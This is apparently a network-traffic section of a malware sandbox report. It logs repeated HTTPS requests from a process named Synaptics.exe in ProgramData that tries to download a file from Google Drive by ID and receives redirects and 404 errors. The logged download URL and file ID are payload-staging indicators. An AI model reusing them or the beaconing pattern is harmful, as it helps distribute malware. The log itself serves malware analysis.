2025-01-02 19:29:25 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7qDt-8NfckExTu2OL1mn18p5-xVdUlguKz_eKShpWmfj0a6D_EBRokRTT-xc5dXdW7Ksv6_bQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:25 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-hNrLQLGYCRR0tdftDRva2w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:25 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:25 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 45 75 31 37 6f 76 4e 7a 4f 6f 5f 43 39 63 59 4e 47 68 52 45 53 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="Eu17ovNzOo_C9cYNGhRESQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:25 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.7	50160	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:25 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	50161	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:25 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.7	50167	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:26 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce--kLwAt3xTRv7eUckJSgdbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	50168	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:26 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-S-qELf8u2HWT4UahjiptDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.7	50178	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:27 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-Lyw0uEmEfsrWaUZGcAJ4tg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.7	50177	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:27 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:28 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC41PEfz3kO-Ybj1ovuu0Bz_LEaG0169eKf3hK_t0Bhqa3cZihpjvMlfCqOD6f2Alv3RSLNyzO4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:28 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-v-jE2eAoovQVPkGWfJBbJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:28 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:28 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 6f 4d 51 32 62 4b 39 72 4e 34 43 42 37 6f 54 73 47 68 78 31 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="boMQ2bK9rN4CB7oTsGhx1g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:28 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	50180	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:27 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:28 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC619lobztDXgK_qeUDuYLwEHufRAVOwRwp99FgbWZm_0_neFgd5iM_mWOUfrbIgmVhRvGk3G8I Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:28 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-CVNN-gFkhcEdrsQfap1zgQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:28 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:28 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 6f 32 5f 35 37 36 79 48 44 6d 65 6b 72 62 63 4a 4c 74 36 4f 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="Qo2_576yHDmekrbcJLt6Og">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:28 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.7	50179	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:27 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Mz-8VM3peUaqZfpUucwoaA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	50189	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:28 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-96-uz4hyDHHHEmUHkuOvZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.7	50190	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:29 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
